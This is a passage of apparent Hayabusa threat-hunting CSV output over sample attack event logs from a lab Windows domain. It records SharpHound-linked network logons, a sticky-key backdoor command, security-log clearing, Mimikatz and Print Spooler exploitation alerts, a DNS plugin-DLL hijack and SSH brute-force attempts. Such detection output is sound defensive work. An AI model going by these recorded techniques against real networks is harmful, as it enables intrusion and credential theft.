admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62167 : LogonID: 0x5a4cc2f1,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.679 +09:00,exchange01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62170 : LogonID: 0xbe8573e4,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.685 +09:00,dhcp01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62182 : LogonID: 0x61e27296,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.686 +09:00,wsus01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62175 : LogonID: 0x5a4cc329,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.686 +09:00,dhcp01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62178 : LogonID: 0x61e272a9,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.687 +09:00,wsus01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62179 : LogonID: 0x5a4cc34a,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.687 +09:00,exchange01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62180 : LogonID: 0xbe857415,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.688 +09:00,exchange01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62184 : LogonID: 0xbe85742e,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.689 +09:00,pki01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62168 : LogonID: 0x22c8a454,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.689 +09:00,atacore01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62172 : LogonID: 0x3a7fd720,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.689 +09:00,wsus01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62183 : LogonID: 0x5a4cc36c,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.690 +09:00,dhcp01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62187 : LogonID: 0x61e272d5,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.691 +09:00,exchange01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62186 : LogonID: 0xbe857459,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.712 +09:00,atacore01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62189 : LogonID: 0x3a7fd78b,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.713 +09:00,atacore01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62193 : LogonID: 0x3a7fd7a6,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.713 +09:00,pki01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62192 : LogonID: 0x22c8a4c2,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.714 +09:00,atacore01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62191 : LogonID: 0x3a7fd7ba,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.715 +09:00,pki01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62195 : LogonID: 0x22c8a4dc,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.718 +09:00,pki01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62196 : LogonID: 0x22c8a4f7,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.722 +09:00,mssql01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62197 : LogonID: 0x2a1f27d0,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.733 +09:00,mssql01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62198 : LogonID: 0x2a1f27f0,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.734 +09:00,mssql01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62199 : LogonID: 0x2a1f2809,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.735 +09:00,mssql01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62200 : LogonID: 0x2a1f281b,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.742 +09:00,prtg-mon.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62211 : LogonID: 0x222004fb,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.742 +09:00,webiis01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62209 : LogonID: 0x258b9e7c,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.752 +09:00,prtg-mon.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62219 : LogonID: 0x22200531,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.753 +09:00,prtg-mon.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62222 : LogonID: 0x2220054d,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.753 +09:00,prtg-mon.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62223 : LogonID: 0x22200565,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.762 +09:00,adfs01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62210 : LogonID: 0x213dfbef,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.762 +09:00,fs01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62208 : LogonID: 0x28da8a22,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.771 +09:00,adfs01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62218 : LogonID: 0x213dfc1c,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.771 +09:00,fs01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62216 : LogonID: 0x28da8a5a,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.772 +09:00,fs01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62217 : LogonID: 0x28da8a76,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.773 +09:00,fs01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62220 : LogonID: 0x28da8a88,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.773 +09:00,adfs01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62221 : LogonID: 0x213dfc3f,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.773 +09:00,adfs01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62224 : LogonID: 0x213dfc4d,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.774 +09:00,webiis01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62234 : LogonID: 0x258b9ee5,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.775 +09:00,webiis01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62235 : LogonID: 0x258b9ef8,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 17:58:38.775 +09:00,webiis01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 62236 : LogonID: 0x258b9efd,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1069-Permission Groups Discovery/ID4799-4624-Local admin group enumerated by SharpHound.evtx +2021-05-03 21:06:57.954 +09:00,win10-02.offsec.lan,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1059,technique_name=Command-Line Interface : Command: C:\windows\system32\cmd.exe sethc.exe 211 : Path: C:\Windows\System32\cmd.exe : User: OFFSEC\admmig : Parent Command: winlogon.exe",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1546-Image File Execution Options Injection/ID1-CMD executed via sticky key call.evtx +2021-05-03 21:06:57.954 +09:00,win10-02.offsec.lan,1,critical,Sticky Key Like Backdoor Usage,,rules/sigma/process_creation/process_creation_stickykey_like_backdoor.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1546-Image File Execution Options Injection/ID1-CMD executed via sticky key call.evtx +2021-05-15 05:39:33.214 +09:00,fs01.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1543.003-Create or Modify System Process-Windows Service/ID4688-4697 RDP hijack via service creation.evtx +2021-05-19 06:18:40.607 +09:00,rootdc1.offsec.lan,150,critical,DNS Server Error Failed Loading the ServerLevelPluginDLL,,rules/sigma/other/dns_server/win_susp_dns_config.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1574-Hijack Execution Flow/ID150-Failed DLL loaded by DNS server.evtx +2021-05-19 06:18:40.607 +09:00,rootdc1.offsec.lan,150,high,Possible CVE-2021-1675 Print Spooler Exploitation,,rules/sigma/other/printservice/win_exploit_cve_2021_1675_printspooler.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1574-Hijack Execution Flow/ID150-Failed DLL loaded by DNS server.evtx +2021-05-19 06:18:40.607 +09:00,rootdc1.offsec.lan,150,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1574-Hijack Execution Flow/ID150-Failed DLL loaded by DNS server.evtx +2021-05-19 06:23:27.038 +09:00,rootdc1.offsec.lan,150,critical,DNS Server Error Failed Loading the ServerLevelPluginDLL,,rules/sigma/other/dns_server/win_susp_dns_config.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1574-Hijack Execution Flow/ID150-Failed DLL loaded by DNS server.evtx +2021-05-19 06:23:27.038 +09:00,rootdc1.offsec.lan,150,high,Possible CVE-2021-1675 Print Spooler Exploitation,,rules/sigma/other/printservice/win_exploit_cve_2021_1675_printspooler.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1574-Hijack Execution Flow/ID150-Failed DLL loaded by DNS server.evtx +2021-05-19 06:23:27.038 +09:00,rootdc1.offsec.lan,150,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1574-Hijack Execution Flow/ID150-Failed DLL loaded by DNS server.evtx +2021-05-19 06:30:17.318 +09:00,rootdc1.offsec.lan,4688,high,Possible CVE-2021-1675 Print Spooler Exploitation,,rules/sigma/other/printservice/win_exploit_cve_2021_1675_printspooler.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1574-Hijack Execution Flow/ID4688-DNS DLL serverlevelplugindll command.evtx +2021-05-19 06:30:17.318 +09:00,rootdc1.offsec.lan,4688,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1574-Hijack Execution Flow/ID4688-DNS DLL serverlevelplugindll command.evtx +2021-05-19 06:30:17.318 +09:00,rootdc1.offsec.lan,4688,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1574-Hijack Execution Flow/ID4688-DNS DLL serverlevelplugindll command.evtx +2021-05-19 06:33:49.548 +09:00,rootdc1.offsec.lan,770,critical,DNS Server Error Failed Loading the ServerLevelPluginDLL,,rules/sigma/other/dns_server/win_susp_dns_config.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1574-Hijack Execution Flow/ID770-Success DLL loaded by DNS server.evtx +2021-05-19 06:33:49.548 +09:00,rootdc1.offsec.lan,770,high,Possible CVE-2021-1675 Print Spooler Exploitation,,rules/sigma/other/printservice/win_exploit_cve_2021_1675_printspooler.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1574-Hijack Execution Flow/ID770-Success DLL loaded by DNS server.evtx +2021-05-19 06:33:49.548 +09:00,rootdc1.offsec.lan,770,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1574-Hijack Execution Flow/ID770-Success DLL loaded by DNS server.evtx +2021-05-19 06:33:49.548 +09:00,rootdc1.offsec.lan,770,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0003-Persistence/T1574-Hijack Execution Flow/ID770-Success DLL loaded by DNS server.evtx +2021-05-20 21:49:31.863 +09:00,fs01.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with non existing user.evtx +2021-05-20 21:49:46.875 +09:00,fs01.offsec.lan,4648,informational,Explicit Logon,Source User: FS01$ : Target User: sshd_5848 : IP Address: - : Process: C:\Program Files\OpenSSH-Win64\sshd.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with non existing user.evtx +2021-05-20 21:49:46.876 +09:00,fs01.offsec.lan,4624,low,Logon Type 5 - Service,User: sshd_5848 : Workstation: - : IP Address: - : Port: - : LogonID: 0x3c569ed,rules/hayabusa/default/events/Security/Logons/4624_LogonType-5-Service.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with non existing user.evtx +2021-05-20 21:49:46.876 +09:00,fs01.offsec.lan,4672,informational,Admin Logon,User: sshd_5848 : LogonID: 0x3c569ed,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with non existing user.evtx +2021-05-20 21:49:52.315 +09:00,fs01.offsec.lan,4776,informational,NTLM Logon to Local Account,User: NOUSER : Workstation FS01 : Status: 0xc0000064,rules/hayabusa/default/events/Security/Logons/4776_NTLM-LogonToLocalAccount.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with non existing user.evtx +2021-05-20 21:49:52.315 +09:00,fs01.offsec.lan,4625,informational,Logon Failure - Username does not exist,User: NOUSER : Type: 8 : Workstation: FS01 : IP Address: - : SubStatus: 0xc0000064 : AuthPackage: Negotiate,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongUsername.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with non existing user.evtx +2021-05-20 21:49:52.315 +09:00,-,-,medium,User Guessing Attempt,[condition] count() by IpAddress >= 5 in timeframe [result] count:5 IpAddress:- timeframe:5m,rules/hayabusa/default/alerts/Security/4625_BruteForce_UserGuessingDetect.yml,- +2021-05-20 21:49:53.378 +09:00,fs01.offsec.lan,4776,informational,NTLM Logon to Local Account,User: NOUSER : Workstation FS01 : Status: 0xc0000064,rules/hayabusa/default/events/Security/Logons/4776_NTLM-LogonToLocalAccount.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with non existing user.evtx +2021-05-20 21:49:53.378 +09:00,fs01.offsec.lan,4625,informational,Logon Failure - Username does not exist,User: NOUSER : Type: 8 : Workstation: FS01 : IP Address: - : SubStatus: 0xc0000064 : AuthPackage: Negotiate,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongUsername.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with non existing user.evtx +2021-05-20 21:49:54.043 +09:00,fs01.offsec.lan,4776,informational,NTLM Logon to Local Account,User: NOUSER : Workstation FS01 : Status: 0xc0000064,rules/hayabusa/default/events/Security/Logons/4776_NTLM-LogonToLocalAccount.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with non existing user.evtx +2021-05-20 21:49:54.043 +09:00,fs01.offsec.lan,4625,informational,Logon Failure - Username does not exist,User: NOUSER : Type: 8 : Workstation: FS01 : IP Address: - : SubStatus: 0xc0000064 : AuthPackage: Negotiate,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongUsername.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with non existing user.evtx +2021-05-20 21:49:54.662 +09:00,fs01.offsec.lan,4776,informational,NTLM Logon to Local Account,User: NOUSER : Workstation FS01 : Status: 0xc0000064,rules/hayabusa/default/events/Security/Logons/4776_NTLM-LogonToLocalAccount.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with non existing user.evtx +2021-05-20 21:49:54.662 +09:00,fs01.offsec.lan,4625,informational,Logon Failure - Username does not exist,User: NOUSER : Type: 8 : Workstation: FS01 : IP Address: - : SubStatus: 0xc0000064 : AuthPackage: Negotiate,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongUsername.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with non existing user.evtx +2021-05-20 21:49:54.945 +09:00,fs01.offsec.lan,4776,informational,NTLM Logon to Local Account,User: NOUSER : Workstation FS01 : Status: 0xc0000064,rules/hayabusa/default/events/Security/Logons/4776_NTLM-LogonToLocalAccount.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with non existing user.evtx +2021-05-20 21:49:54.945 +09:00,fs01.offsec.lan,4625,informational,Logon Failure - Username does not exist,User: NOUSER : Type: 8 : Workstation: FS01 : IP Address: - : SubStatus: 0xc0000064 : AuthPackage: Negotiate,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongUsername.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with non existing user.evtx +2021-05-22 05:43:07.153 +09:00,fs01.offsec.lan,4648,informational,Explicit Logon,Source User: FS01$ : Target User: sshd_4332 : IP Address: - : Process: C:\Program Files\OpenSSH-Win64\sshd.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with valid user.evtx +2021-05-22 05:43:07.153 +09:00,fs01.offsec.lan,4624,low,Logon Type 5 - Service,User: sshd_4332 : Workstation: - : IP Address: - : Port: - : LogonID: 0x47a203c,rules/hayabusa/default/events/Security/Logons/4624_LogonType-5-Service.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1110.xxx-Bruteforce/ID4625-OpenSSH brutforce with valid user.evtx +2021-05-22 05:43:18.227 +09:00,fs01.offsec.lan,4648,informational,Explicit Logon,Source User: FS01$ : Target User: admmig : IP Address: - : Process: C:\Program Files\OpenSSH-Win64\sshd.exe : Target Server: 